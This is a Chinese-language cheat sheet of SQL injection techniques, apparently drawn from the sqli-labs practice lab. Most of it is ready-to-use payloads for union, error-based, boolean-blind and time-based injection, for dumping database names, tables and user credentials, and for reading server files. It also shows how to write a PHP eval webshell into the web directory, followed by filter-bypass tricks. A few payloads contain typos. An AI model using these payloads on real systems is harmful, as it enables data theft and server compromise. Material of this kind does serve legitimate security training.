sql 注入:
联合查询注入
具体语句:
查库名:
select database();
猜字段数:
order by 3;
暴库
select group_concat(schema_name) from information_schema.schemata
爆表
select group_concat(table_name) from information_schema.tables where table_schema = database() %23
爆字段
select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users' %23
查具体数据:
select group_concat(usrename) from security.users %23
拼接具体数据:
select 1,concat_ws(':',username,password),3 from security.users %23
报错注入
通过报错信息传递参数
union select extractvalue(1,concat(0x7e,(select version()))) -- -
把version改成想要查的SQL语句即可
布尔盲注
substr(a,b,c)详解:substr函数的作用是分割字符串,a是被分割的字符串,b是起始的位置(从1开始),c是偏移量
猜解version()爆出来的第一个字符是不是'5'
' or (select substr(version(),1,1) = '5') -- -
猜解table_name第一个字符的ascii码
' or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) = 3 -- -
二分法猜解:
' or (select ascii(substr(table_name,1,1)) from information_shcema.tables where table_schema = database() limit 0,1 ) > 1 -- -
延时注入:
sleep(2)详解: 让服务器沉睡两秒
判断闭合:
id=1' or sleep(3) -- -
如果闭合,则服务器会延迟三秒后返回
if(a,b,c)详解:如果a为真,则执行b。如果a为假,则执行c。
测试手写语句
' or if(0,sleep(2),0) %23
这句话是测试if(a,b,c)好不好用
' or if((select 1 from information_schema.tables where table_schema = database() limit 0,1)>0,sleep(2),0) -- -
select 1是用于验证手写的语句是否写错,如果语句没问题就会执行后面的sleep(2)
编写恶意sql语句
确认语句没有问题,就把测试语句的1换成想要查询的字段
' or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1)>0,sleep(2),0) -- -
这里换成 ascii(substr(table_name,1,1))查询table_name的第一个字符的ascii码
最后用类似布尔盲注的套路,继续猜解。
SQL注入读写文件:
sql注入读写文件一定要有权限才行。查看权限的命令:
show global variables like '%secure%'
secure_file_priv一定要是空的才行。
读文件
构造SQL语句去下载我们想要的文件
load_file("url")指的是下载文件,hex()是把结果转变成十六进制在转回来。
union select 1,2,hex(load_file("address")) -- -
address是将要读取的文件地址。必须得是绝对路径。
然后把返回hex在网页上转成字符。
写文件:
union select 1,2,"<?php phpinfo();?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\phpinfo.php" -- -
在网站目录下写入一句话木马。地址必须靠自己的经验去猜。
post注入
有个猜想:
某个网页的登录逻辑是:
$result = select 1 from b where username='' and password = '';
如果where后面的关系表达式是1,SQL语句就会返回1。
那么任务就是,让where后面的关系表达式,变成1.
比如单引号包裹,就:' or 1 -- -
http-referer请求注入:
一个http请求,含有一个Referer的项
Referer:http://www.baidu.com/
在后面加上单引号,即可像get型注入一样注入
包括agent,cookien,都可以执行http-referer注入
Sql注入读写文件:
读文件的要求:
必须有权限读取并且文件必须完全可读欲读取文件必须在服务器上
必须指定文件完整的路径
欲读取文件必须小于max_allowed_packet
获取绝对路径一般有两种方法:
1、通过经验获取一些默认的安装路径来猜测文件的位置
2、通过程序报错,把路径爆出来
union select 1,2,hex(load_file("D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\index")) -- - #双反斜杠,因为会转义. #hex是把它变成16进制,然后再转回来
为了判断写法有没有问题,我们可以查一些常见的东西,比如C://boot.ini
写文件:
union select 1,2,3 into outfile "C:\\ phpStudyB\\WWW\\sqli\\ Less-1\\a.txt" %23 #这个语句执行的结果,就是把当前查询的1,2,3写进去 union select 1,2,"<?php @eval$_POST [value]);?>" into outfile "C:\\ phpStudyB\\WWW\\sqli\\ Less-1\\a.php" %23 #向文件写入一句话木马,a.php本不存在
sql注入绕过篇:
1、绕过注释符过滤
#比如原语句: select a from b where c = '?' limit 0,1; #接下来我们构造成这样: #1' or (1) or ' select a from b where id = '1' or (1) or ' ' limit 0,1 #此时括号内部就是一个表达式判断语句,可以在内用判断语句执行报错注入 #' or (extractvalue(1,concat(0x7e,version()))) or ' 1 #甚至可以用联合查询注入,爆字符串
2、绕过 and or 过滤
方法有双写、大小写、符号替换(&& ||)
3、绕过空格过滤
3.1、其他符号代替空格
%09 TAB 键(水平) %0a 新建一行 %0c 新的一页 %0d return功能%0b TAB 键(垂直)%a0空格
3.2、用注释符 /**/ 代替空格 3.3、用括号代替空格
(sleep(ascii(mid(user()from(2)for(1)))=109))
4、绕过内联注入过滤